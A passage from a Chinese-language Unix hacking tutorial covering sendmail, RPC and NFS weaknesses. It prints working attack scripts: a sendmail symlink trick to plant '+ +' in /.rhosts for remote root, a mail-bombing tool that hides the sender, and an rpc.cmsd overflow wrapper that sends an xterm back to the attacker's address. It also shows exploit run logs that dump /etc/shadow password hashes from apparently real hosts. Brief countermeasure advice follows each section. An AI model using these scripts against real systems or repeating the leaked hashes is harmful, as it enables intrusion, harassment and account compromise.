包括.rhosts文件。 利用程序如下: #!/bin/sh RunDMC=$1 if [ -f /tmp/dead.letter ]; then rm /tmp/dead.letter fi if [ -f /tmp/dead.letter ]; then echo "Sorry, aint gonna work" exit fi ln -s /.rhosts /tmp/dead.letter ( sleep 1 echo "helo" echo "mail from: noone" echo "rcpt to: noone@bounce" echo "data" echo "+ +" echo "." sleep 3 echo "quit" ) | telnet ${RunDMC}25 sleep 5 rlogin ${RunDMC}-l root 然后运行之: exploit www.somesite.com 就可以获得远程主机的rootshell了
sendmail的HELO命令漏洞 =8.8.8= 这个漏洞虽然不能让你在远程系统上得到任何权限,但是它可以用来在发送邮件时 隐藏你的真正IP地址。 假如有人对你发邮件炸弹,你可以从邮件的原始信息中找出它的IP地址: >From spam@flooders.net Mon Jan 5 22:08:21 1998 Received: from spammer (marc@math.university.edu [150.129.84.5]) by myhost.com (8.8.8/8.8.8) with SMTP id WAA00376 for lcamtuf; Mon, 5 Jan 1998 22:07:54 +0100 Date: Mon, 5 Jan 1998 22:07:54 +0100 From: spam@flooders.net Message-Id: <3.14159665@pi> MAILBOOM!!! 其中150.129.84.5就是发炸弹的人的实际IP地址。 但是这个HELO漏洞可以使得发炸弹的人隐藏它的IP,只要让HELO命令超过1024KB。 收到的原始信息将是: >From spam@flooders.net Mon Jan 5 22:09:05 1998 Received: from xxxxxxxxxxxxxx... [一大串x] ...xxxx Date: Mon, 5 Jan 1998 22:08:52 +0100 From: spam@flooders.net Message-Id: <3.14159665@pi> MAILBOOM!!! Now guess who am I...
这样就看不出来谁发的这封邮件了! 下面是一个利用这个漏洞发邮件炸弹的程序:
#!/bin/bash TMPDIR=/tmp/`whoami` PLIK=$TMPDIR/.safe TIMEOUT=2 LIMIT=10 MAX=20 echo echo "SafeBomb 1.02b -- sendmail HELO hole usage example" echo "Author: Michal Zalewski <lcamtuf@boss.staszic.waw.pl>" echo if [ "$4" = "" ]; then echo "USAGE: $0 msgfile address server sender" echo echo " msgfile - file to send as a message body" echo " address - address of lucky recipient" echo " server - outgoing smtp server w/sendmail" echo " sender - introduce yourself" echo echo "WARNING: For educational use ONLY. Mailbombing is illegal." echo "Think twice BEFORE you use this
sendmail 对策:更新Sendmail到最新版本或安装相应的补丁文件。在不是邮件服务器和代理服务器上,不要在daemon 模式下(关闭 the -bd 开关) 运行Sendmail。另外一些实用工具可以增强sendmail的安全性,如smap,smapd。还可以考虑用其他的MTA如Qmial。
--[1.4.4 RPC 远程调用(Remote procedure calls ,RPCs)允许一台机器上的程序执行另一台机器上的程序。它们被广泛的用来提供网络服务如NFS文件共享和NIS。由于RPC缺陷导致的弱点正被广泛的利用着。有证据显示,1999年到2000年间的大部分分布式拒绝服务型攻击都是在那些通过RPC漏洞被劫持的机器上执行的。在Solar Sunrise事件中取得广泛成功的对美国军方系统的攻击就是通过利用国防部几百个系统中的一个RPC缺陷来实现的。许多RPC服务及其复杂且以root 运行。这使得很麻烦,这样一来,成功的缓冲区溢出或输入验证攻击将导致之间root访问,比如远程RPC 缓冲区溢出攻击与rpc.ttdbserverd和rpc.cmsd相关,而这两个RPC服务是CDE的一部分,且以root权限运行,攻击者只需成功的发掘溢出条件并发送回一个xterm或一个反向telnet,就搞定了。
[vitter]# cmsd.sh victim 10.16.69.1 2 10.16.69.145 Executing exploit..
rtable_create worked clnt_call[rtable_insert]: RPC: Unable to receive; errno = Connection reset by peer
cmsd.sh如下: -------------------------------cmsd.sh----------------------------------------- !#/bin/sh if [ $# -lt 4 ]; then echo "Rpc.cmsd buffer overflow for Solaris 2.5 & 2.6 7" echo "If rpcinfo -p target_ip |grep 100068 = ture - you won!" echo "Don't forget to xhost+ the targer system" echo "" echo "Usage: $0 targer_hostname targer_ip <O/S version (1-7)> your_ip" exit 1 fi echo "Executing exploit..." cmsd -h $1 -c "/usr/openwin/bin/xterm display $4:0.0 &" $3 $2
一个简单的shell脚本调用了cmsd。知道系统名是必需的如上面的victim,并且要提供victim的ip10.16.69.1系统类型2即Solaris 2.6 。攻击者地址10.16.69.145。其结果返回一个如下xterm # uname -a SunOS victim 5.6 Generic sun4m sparc SUNW,SPARCstation-20 # id uid=0(root) gid=0(root) #
再举几个例子: 1.Example of Sun Solaris 5.7 Sparc RCP.snmp
[root@codeguru /root]# gcc -o snmp snmp.c snmp.c: In function `main': snmp.c:181: warning: passing arg 3 of pointer to function from incompatible pointer type snmp.c:181: warning: passing arg 4 of pointer to function from incompatible pointer type snmp.c:181: warning: passing arg 5 of pointer to function from incompatible pointer type
[root@codeguru /root]# ./snmp xxx.xxx.xxx.xxx -v 7 copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/ snmpXdmid for solaris 2.7 2.8 sparc
adr=0x000c8f68 timeout=30 port=928 connected! sent! SunOS app1-stg-bk-sh 5.7 Generic_106541-09 sun4u sparc SUNW,Ultra-80 id uid=0(root) gid=0(root) cat /etc/shadow root:N7lNfoCK/LVW.:11450:::::: daemon:NP:6445:::::: bin:NP:6445:::::: sys:NP:6445:::::: adm:NP:6445:::::: lp:NP:6445:::::: uucp:NP:6445:::::: nuucp:NP:6445:::::: listen:*LK*::::::: nobody:NP:6445:::::: noaccess:NP:6445:::::: nobody4:NP:6445:::::: support:k8ecFpmVkUwDQ:11450:::::: oracle8i:68sOUP5lvdTss:11450:::::: demo:nUqGaO3SmGZr6:11209:::::: bvdemo:CW3HfM/tcoDj2:11209:::::: ib:x9Sao83hvYXyo:11450:::::: bvib:RBJrjMS5gHLFw:11450:::::: bol-ftp:/uOkO0iTpbRhg:11340:::::: iaspec:fCE/zZLpsffGU:11388:::::: bol:M95prTyCJKzog:11450:::::: sz-ftp:SwIE7UoRBG5tc:11340:::::: lads:OmM2BckxLzMLQ:11450:::::: ladsopr:SW027tVoxRjK6:11361:::::: ladsspt:*LK*::::::: ladsbol:SjJHo6AY3iueI:11464:::::: bvbol:vAyIPXTnrYP9s:11450:::::: csj::11340:::::: lkm:eQkjbp7D5iOxY:11466:::::: guest:0cnYwPC4533Is:11415:::::: ib-ftp:Sx/4GQ.nS2Gq6:11416:::::: hychan:XlalBrtew73hE:11423:::::: sysadm:ph/7McY7xSRO6:11431:::::: xshen:CVxLVj3rTP1fo:11432:::::: xbli:fV9yTyz5Q8qdY:11432:::::: qzhu:3XLhGf7bzFWPo:11432:::::: jhtan:cXC/60E44Ojd2:11432:::::: yhpan:3Yrzw7j4D4aEk:11432:::::: sxzhou:UQcddGFe2pMpU:11450::::::
[root@codeguru /root]#
RPC.snmp只能够溢出成功一次(在重启之前)。
2、Example of Sun Solaris 5.6 Sparc RPC.ttdb RPC中存在一个ttdb服务。多数的Sun Solaris 5.6都存在远程溢出。
[root@codeguru /root]# gcc -o ttdbserver ttdbserver.c ttdbserver.c: In function `main': ttdbserver.c:202: warning: passing arg 3 of pointer to function from incompatible pointer type ttdbserver.c:202: warning: passing arg 4 of pointer to function from incompatible pointer type ttdbserver.c:202: warning: passing arg 5 of pointer to function from incompatible pointer type [root@codeguru /root]# ./ttdbserver xxx.xxx.xxx.xxx -v 6 copyright LAST STAGE OF DELIRIUM jul 1998 poland //lsd-pl.net/ rpc.ttdbserverd for solaris 2.3 2.4 2.5 2.5.1 2.6 sparc
adr=0xeffffaf8 timeout=10 port=1000 connected! sent! SunOS idc1 5.6 Generic_105181-05 sun4u sparc SUNW,Ultra-1 id uid=0(root) gid=0(root) cat /etc/shadow root:4LHCYj9LnG/GU:11415:::::: daemon:NP:6445:::::: bin:NP:6445:::::: sys:NP:6445:::::: adm:NP:6445:::::: lp:NP:6445:::::: smtp:NP:6445:::::: uucp:NP:6445:::::: nuucp:NP:6445:::::: listen:*LK*::::::: nobody:NP:6445:::::: noaccess:NP:6445:::::: nobody4:NP:6445:::::: test:rLtlmW2gxKBdA::::::: yhr:aeqB9KuKlrQ7A:::::::
以上2个例子的源代码都可以从hack.co.za中找到
RPC对策:检查你是否运行了下面3个被广泛利用的RPC服务中的一个: rpc.ttdbserverd rpc.cmsd rpc.statd 这些服务通常被缓冲区溢出攻击成功利用,因为RPC程序不进行合适的错误检查。缓冲区溢出允许攻击者发送程序不支持的数据,因为程序不进行合理的错误检查,数据被继续传递和处理。 只要允许,在可以从Internet 直接访问的机器上关闭或删除这些服务 在你必须运行该服务的地方,安装最新的补丁 定期搜索供应商的补丁库查找最新的补丁并立刻安装。 在路由或防火墙关闭RPC 端口 (port 111) 。 关闭 RPC "loopback" 端口, 32770-32789 (TCP and UDP) 如果你的unix系统支持Secure RPC,那么就考虑用他
--[1.4.5 NFS
Unix 系统的NFS服务相当于MS系统上的文件共享服务.也许有人认为这是一个不恰当的比喻,但二者在安全问题上有惊人的类似,正如NT/Windows机器上的安全问题很多来自共享资源一样,NFS服务的错误配置,也可以让你的系统被入侵者接管.NFS建立在RPC(远程过程调用)机制上,同样地,基于RPC 机制上的NT的服务也不安全;针对MS共享资源的攻击是当前Internet上最流行的攻击NT方式,对NFS的攻击也对UNix平台机器的最常用手段. NFS的不安全性主要体现于以下4个方面: 1、新手对NFS的访问控制机制难于做到得心应手,控制目标的精确性难以实现 2、NFS没有真正的用户验证机制,而只有对RPC/Mount请求的过程验证机制 3、较早的NFS可以使未授权用户获得有效的文件句柄 4、在RPC远程调用中,一个SUID的程序就具有超级用户权限. 我们分别从这几个方面加以论述: 1、在大多数Unix系统的缺省的情况下,Export目录时,如果不指定只读,该目录为可写;NFS的访问控制文件很容易出现错误配置,很多情况下配置为可以被网上任何一台机器访问,远程用户可以用这条命令来查到是否有NFS的配置漏洞,这个命令是几乎所有的NFS攻击的必经步骤:
共6页: 上一页 [1] 2 [3] [4] [5] [6] 下一页
|